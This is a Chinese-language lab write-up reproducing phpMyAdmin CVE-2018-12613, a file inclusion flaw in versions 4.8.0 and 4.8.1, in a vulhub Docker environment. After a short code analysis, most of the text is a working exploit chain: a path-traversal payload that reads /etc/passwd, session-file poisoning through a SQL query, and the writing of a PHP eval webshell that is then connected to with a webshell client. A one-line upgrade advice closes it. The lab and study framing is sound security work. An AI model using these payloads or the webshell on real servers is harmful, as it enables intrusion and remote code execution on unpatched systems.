漏洞描述
在4.8.2之前的phpMyAdmin 4.8.x中发现了一个问题,攻击者可以在其中包含(查看并可能执行)服务器上的文件。该漏洞来自页面重定向和在phpMyAdmin中加载的部分代码,以及对列入白名单的页面的不正确测试。除“ $ cfg [‘AllowArbitraryServer’] = true”情况(攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码)外,攻击者还必须经过身份验证。 [‘ServerDefault’] = 0“的情况(绕过登录要求,并在没有任何身份验证的情况下运行易受攻击的代码)。
影响版本
phpMyAdmin 4.8.0和4.8.1
漏洞环境搭建
使用vulhub直接docker一键启动环境CVE-2018-12613环境
下载安装好vulhub后进入/phpmyadmin/CVE-2018-12613
目录,执行以下命令启动环境
sudo docker-compose up -d
查看当前虚拟机ip,并访问8080端口,即可出现phpmyadmin页面
漏洞分析
查看index.php
中的61行,存在一个include文件包含函数
- 判断target是否存在
- 判断target是否是字符串
- target不能以index字符串开头
- targer不在$target_blacklist数组中
- 带入targer到Core类的checkPageValidity方法中
$target_blacklis
数组为以下两个文件名:
查看libraries/classes/Core.php
文件,查看443行,分析checkPageValidity
方法用法:
在25行可以查看$whiltlist
数组中存入了哪些变量:
再回到checkPageValidity
方法主要查看以下代码:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
这段代码会截取target变量
中的字符串从开始到?
中的字符,然后带入$whitelist数组中匹配,如果匹配成功,返回true。
构造payload:
?target=sql.php?/../../../../../../../../../etc/passwd
可以成功包含passwd文件
漏洞利用
当前vulhub搭建的docker环境,不能利用写木马到数据库然后包含frm文件。因为vulhub是利用站库分离的搭法,这样我们插入木马到某个表中,payload会保存在数据库系统里,而不是web服务器上。
所以我们利用session写入shell的方式进行getshell
执行sql语句:
SELECT "<?php phpinfo();?>"
查看我们的session,我们输入的这一段php代码其实已经保存在服务器中了。
我们进入docker容器中,查看web服务器下的tmp
文件,存在于我们的session文件
cat查看session文件可以看到我们刚才查询的php代码:
# cat <session文件>
cat sess_7600504195960fdd23197b847708a866
我们利用payload尝试包含session文件,出现phpinfo。
/index.php?target=sql.php?/../../../../../../../../../tmp/sess_7600504195960fdd23197b847708a866
从phpinfo中搜索CONTEXT_DOCUMENT_ROOT
可查看web路径
写入webshell:
select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"
然后再次包含session文件
/index.php?target=sql.php?/../../../../../../../../../tmp/sess_3ac44a735bf3546cbbb3aabb00da9322
访问cmd.php,发现文件已存在了,说明我们写入成功。
菜刀添加木马地址及密码
漏洞加固
不影响业务运行的情况下,升级到最新版phpmyadmin。